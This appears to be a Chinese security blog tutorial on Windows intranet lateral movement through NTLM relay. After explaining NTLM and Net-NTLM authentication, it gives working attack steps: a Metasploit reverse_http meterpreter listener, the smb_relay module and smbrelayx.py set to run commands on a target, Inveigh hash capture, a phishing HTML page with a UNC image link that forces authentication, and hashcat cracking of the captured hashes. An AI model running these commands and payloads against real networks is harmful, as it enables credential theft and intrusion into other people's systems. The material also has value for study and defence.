【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews

简介: 【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews

章节点

IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,NTLM-Relay,Kerberos_TGS,GPO&DACL,域控提权,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。


基本知识点

与NLTM认证相关的安全问题主要有Pass The Hash、利用NTLM进行信息收集、Net-NTLM Hash破解、NTLM Relay几种。PTH前往期文章复现,运用mimikatz、impacket工具包的一些脚本、CS等等都可以利用,NTLM Relay又包括(relay to smb,ldap,ews)


可以应用在获取不到明文或HASH时采用的手法,但也要注意手法的必备条件。


由于该Relay攻击要涉及到NTLM认证和Net-NTLM Hash,所以我们先来了解一下NTLM认证过程和什么是Net-NTLM Hash。


NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。


Net-NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。在下面的NTLM认证过程中你可以知道Net-NTLM Hash产生的过程。


NTLM认证过程

  1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。


如果是在域环境中,那么认证过程会经过域控制器:

4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。

5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。

服务器根据DC返回的结果,对客户端进行回复

在这里,如果我们获得了NTLM-Hash,那么我们可以直接进行PTH攻击,但不能用来Relay;而如果我们获得了Net NTLM-Hash,那么我们可以对其进行爆力破解得到明文,也可以利用Net NTLM-Hash进行中继攻击。


横向移动-NTLM中继攻击-Relay重放-SMB上线

条件

通讯双方当前用户和密码一致

例如 webserver中有本地用户administrator/admin!@#45

并且sqlserver本地用户也有administrator/admin!@#45

那么可以通过 dir \192.168.3.32\c$访问到sqlserver下C盘文件,因为访问时默认会使用当前用户密码进行验证对方电脑账号密码


当访问DC(administrator/Admin12345)时,密码错误,就无法查看DC目录

cs转发上线msf

CS:

spawn l-msf


MSF:

监听上线:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 8787
run


添加路由:

run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
backgroup //返回


smb_relay模块(ms08-068)


重发模块:

use exploit/windows/smb/smb_relay
set smbhost 192.168.3.32 //转发攻击目标
set lhost 47.94.130.xx   //设置本地IP
set autorunscript post/windows/manage/migrate

主动连接:

set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.32 //设置连接目标
run

关键是如何获取administrator权限

从system权限进行令牌窃取获取administrator权限

msf下窃取令牌


很遗憾没有复现成功(生成新的对话)

在公网vps上测试:

开始以为是网络问题,切换至本地kali上同样也是只返回一段hash值,并没有生成新的对话


Impacket中的smbrelayx.py

攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1(webserver)访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2(sqlserver) 。

./smbrelayx.py -h <Client2 IP> -c Command


……

横向移动-NTLM中继攻击-Inveigh嗅探-Hash破解

条件:被控主机当前管理员权限

Responder中继攻击-NTLM Hash破解

https://github.com/hashcat/hashcat/

https://github.com/Kevin-Robertson/Inveigh

1、监听拦截

Inveigh.exe

获取到的是NET NTLM HASH V1或V2

2、触发拦截

dir \\192.168.3.x\c$

2.1、钓鱼触发

http://192.168.3.31/1.html

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.32\2">
</body>
</html>

3、破解

hashcat -m 5600 hash pass.txt --show
相关文章
|
10天前
|
安全 网络安全 数据库
【内网安全】横向移动&Kerberos攻击&SPN扫描&WinRM&WinRS&RDP
【内网安全】横向移动&Kerberos攻击&SPN扫描&WinRM&WinRS&RDP
|
1月前
|
网络性能优化 网络虚拟化 数据安全/隐私保护
|
1月前
|
关系型数据库 网络安全 分布式数据库
如何为PolarDB数据库设置SSL加密以提高链路安全性
如何为PolarDB数据库设置SSL加密以提高链路安全性 为了保障网络安全,提高链路安全性,您可以为PolarDB数据库启用SSL(Secure Sockets Layer)加密,并安装SSL CA证书到相关的应用服务。SSL在传输层对网络连接进行加密,能提升通信数据的安全性和完整性,但可能会增加网络连接响应时间。
92 2
|
缓存 监控 网络协议
代理和中继的区别
代理和中继的区别
190 0
|
网络协议 网络架构
什么是DHCP(中继模式)
什么是DHCP(中继模式)
238 0
什么是DHCP(中继模式)
|
网络协议 Linux C#
NativePayload_DNS,通过DNS流量,绕过防病毒传输后门
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396319 传送门 注意标点符号,必须是英文的。
1416 0